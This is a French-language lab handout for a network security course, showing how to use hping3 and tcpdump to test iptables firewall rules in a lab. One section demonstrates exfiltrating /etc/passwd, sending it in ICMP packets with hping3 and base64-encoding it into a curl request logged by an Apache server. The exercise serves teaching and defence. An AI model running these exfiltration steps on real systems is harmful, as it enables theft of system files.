Académique Documents
Professionnel Documents
Culture Documents
- Laboratoire -
hping, tcpdump, nmap
420-T10-SU
Juillet 2018
2|Page
Introduction
Après avoir vu comment utiliser iptables dans toute sa complexité, il faut être en mesure de valider le niveau
de sécurité de vos règles. Une erreur pourrait se glisser et un serveur pourrait être exposé facilement à une
menace.
Nous allons donc voir des outils comme hping3, tshark et nmap
Préparation de la VM Client
Comme la VM Client va servir de plateforme d'attaque, nous allons mettre SELinux à disable et arrêter le
service de firewall afin de nous permettre de faire nos tests sans être gêné
Mise à jour de la VM
# yum update –y
hping3
hpingw est un analyseur / assembleur de paquets TCP/IP en ligne de commande. L'interface est inspirée de la
commande ping, la commande est capable de supporter, en plus du protocole ICMP, les protocoles TCP, UDP
et ICMP
Test de pare-feu;
Balayage de port avancé;
Test de réseau, utilisant différents protocoles, TOS, fragmentation ;
Découverte MTU manuelle;
Traceroute avancé sous les protocoles supportés;
Empreinte digitale du système d'exploitation distant (OS Fingerprinting);
Estimer la disponibilité à distance
3|Page
Audit des piles TCP / IP
Installer hping3
# hping3 -1 192.168.20.15
Vérifier un port
Si vous n'avez pas de réponse avec ping ou que vous voulez tester un port tcp (ex. port 80), vous pouvez
essayer cette commande
# hping3 –S –p 80 192.168.20.15
4|Page
Tester votre serveur web dans la DMZ
Pour tester votre serveur web, vous devez configurer votre firewall afin de permettre au port 80 de passer et
au serveur dans la DMZ de communiquer avec le port 80
Mettez aussi les ping sur votre firewall à REJECT sur la chaine INPUT
Ouvrez une session sur le client et activez tcpdump qui va valider vos tests. Il faut dire à tcpdump d'écouter le trafic sur
l'interface eth0 et afficher seulement le trafic provenant de votre firewall
Sur un autre terminal, lancez deux ping vers votre firewall et regardez les résultats
# hping3 -1 -c 2 192.168.X.X
Essayer ensuite avec un paquet tcp sur le port 25 qui devrait être à DROP
# hping3 -S –p 25 -c 2 192.168.X.X
Configurer votre règles de firewall pour ssh pour inclure --dport 22 --sport 1024: pour la règle INPUT
5|Page
Exfiltration de données
Dans cet exercice, nous allons voir un exemple d'exfiltration de données via les paquets ICMP
Synopsis
Dans cet exercice, nous allons configurer tcpdump sur le poste client pour qu'il puisse intercepter tous les messages
ICMP provenant du firewall. Nous allons avoir besoin de 3 sessions SSH pour cet exercice
Nous allons aussi configurer tcpdump sur un autre terminal qui va afficher dans la fenêtre du terminal seulement les
messages provenant du firewall. Ceci va nous permettre de voir que les messages arrivent bien au poste client.
Enfin sur le firewall, nous allons extraire le contenu du fichier /etc/passwd et l'envoyer au client via des messages icmp
6|Page
tcpdump
Le MTU (Maximum Transmission Unit) détermine la taille maximum que peut avoir un datagramme lors d'une
transmission IP sans avoir à être fragmenté.
Pour votre interface eth0, le mtu est de 1500 bytes. Nous allons utiliser cette valeur pour l'exfiltration des données.
Sur le client02. Nous allons configurer le témoin pour s'assurer que les messages arrivent bien. Remplacer le X par l'octet
de l'adresse IP du firewall.
Host 192.168.X.X Filtrer sur l'adresse ip 192.168.X.X. Notez qu'il n'y a pas de direction avec ce
filtre
Ensuite, sur le second terminal du client, nous allons configurer tcpdump pour recevoir les paquets et les enregistrer
dans un fichier pcap.
icmp and src host 192.168.X.X Filtrer sur le protocole icmp et l'adresse source 192.168.X.X
7|Page
hping3
Sur le client01 (dans le réseau interne), nous allons utiliser hping3 pour lui envoyer le contenu du fichier /etc/passwd.
Remplacer le Y par l'octet de l'adresse IP du client02.
-E utiliser le contenu d'un fichier pour remplir la portion date des paquets.
-u informer quand la fin du fichier est atteinte et empêcher que l'autre extrémité accepte plus de paquets
Une fois que le fichier est complètement transmis appuyez sur CRTL+C
Arrêtez aussi la capture sur le poste client aussi avec les touches CRTL+C
À l'aide de mobaxterm ou winscp connectez-vous au client et téléchargez le fichier pcap que vous avez fait.
8|Page
Comme vous pouvez le constater, la taille du paquet a dépassée les 1500 bytes ce qui donne un drôle de résultat. Dans
le calcul il aurait fallu tenir compte des éléments suivants:
L'en-tête Ethernet
9|Page
Et sur le client01 relançons l'exfiltration sans les en-têtes (42 Bytes) vers le client02
Une autre méthode simple d'exfiltration est d'utiliser un serveur web pour enregistrer les données exfiltrées. Comme il
est difficile de mettre plusieurs liges dans un URL, nous allons utiliser l'outil base64 pour encoder les données
Configurer le témoin
Nous allons utiliser la commande tail pour surveiller le fichier log /var/log/httpd/access_log. Faite CRTL+C pour arrêter
tcpdump
# tail –f /var/log/httpd/access_log
10 | P a g e
Exfiltration sur le client01
Nous allons utiliser la commande cat pour afficher le contenu du fichier /etc/passwd, ensuite le résultat sera envoyé à la
commande base64. Comme l'encodage en base64 utilise des sauts de ligne, nous utiliserons la commande tr pour les
supprimer et produire une seule ligne au lieu de plusieurs.
Ensuite, nous allons utiliser la commande curl pour accéder une page web qui porte le nom du résultat en base64.
Comme la page n'existe pas, un message d'erreur est retourné au firewall et le résultat en base64 est enregistré dans le
journal access_log du serveur apache (httpd).
# curl http://192.168.130.10/$spy
Ensuite, sur le poste client, il faut faire un cat sur le fichier access_log et copier le résultat de la base64.
11 | P a g e
Décodage
Allez sur le site https://www.base64decode.org/
12 | P a g e
Annexe A – Diagramme des en-têtes
IP - Format de l'en-tête
Byte 0 1 2 3
0 Version IHL Type de service Taille total
D M
4 Identification Fragment offset
F F 20
8 Time to live Protocole Header checksum Bytes
12 Adresse source
16 Adresse de destination
20 Options
1 2 3
0 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1
0 0 0
1 2 3
0 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1
0 0 0
13 | P a g e